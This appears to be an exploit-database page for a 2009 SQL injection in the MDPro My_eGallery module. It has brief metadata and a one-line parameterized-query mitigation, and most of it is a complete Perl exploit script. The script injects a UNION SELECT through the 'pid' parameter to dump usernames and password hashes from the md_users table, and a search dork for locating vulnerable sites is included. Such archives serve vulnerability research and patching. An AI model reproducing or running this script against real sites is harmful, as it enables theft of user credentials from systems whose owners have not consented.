header-logo
Suggest Exploit
vendor:
MDPro Module My_eGallery
by:
s3rg3770 && yeat
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: MDPro Module My_eGallery
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

MDPro Module My_eGallery Remote SQL Injection Exploit

MDPro Module My_eGallery Remote SQL Injection Exploit is an exploit that allows an attacker to inject malicious SQL code into a vulnerable web application. The exploit is triggered by sending a specially crafted HTTP request to the vulnerable application. The malicious SQL code is then executed, allowing the attacker to gain access to sensitive information such as usernames and passwords.

Mitigation:

The best way to mitigate SQL injection attacks is to use parameterized queries. This is a programming technique that ensures that user input is treated as data, not as executable code.
Source

Exploit-DB raw data:

#!/usr/bin/perl

<<read;

    MDPro Module My_eGallery Remote SQL Injection Exploit
    by s3rg3770 && yeat - staker[at]hotmail[dot]it
    
    dork: inurl:module=My_eGallery pid
    note: works regardless of php.ini settings.
    
read

use IO::Socket;


my ($host,$path,$id) = @ARGV;


if (@ARGV != 3) 
{
       print "\n+-------------------------------------------------------+\n".
             "\r| MDPro Module My_eGallery Remote SQL Injection Exploit |\n".
             "\r+-------------------------------------------------------+\n".
             "\rby yeat - staker[at]hotmail[dot]it\n".
             "\nUsage: perl $0 host /path/ id\n".
             "\nhost: localhost\n".
             "\rpath: /mdpro/\n".
             "\rid: 2\n";
       exit;
}         
else
{      
       my ($packet,$inject,$content);
       
       $inject = "index.php?module=My_eGallery&do=showpic&pid=-1".
                 "/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/0".
                 ",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat(0x3C7".
                 "230783E,pn_uname,0x3a,pn_pass,0x3C7230783E),0".
                 ",0,0/**/FROM/**/md_users/**/WHERE/**/pn_uid=$id/*"; 
                 
       $socket = new IO::Socket::INET(
                                       PeerAddr => $host,
                                       PeerPort => 80,
                                       Proto    => 'tcp'
                                     ) or die $!;
                                        
       
       $packet .= "GET /$inject HTTP/1.1\r\n";
       $packet .= "Host: $host\r\n";
       $packet .= "User-Agent: Lynx (textmode)\r\n";
       $packet .= "Connection: close\r\n\r\n";
       
       $socket->send($packet);
       
       while (<$socket>) {
          $content .= $_;
       }
       
       close($socket);
       
       if ($content =~ /<r0x>(.+?)<r0x>/i) {
          print "Exploit Successful: $1\n";
       }
       else {
          print "Exploit Failed.\n";
       }      
}       

# milw0rm.com [2009-02-23]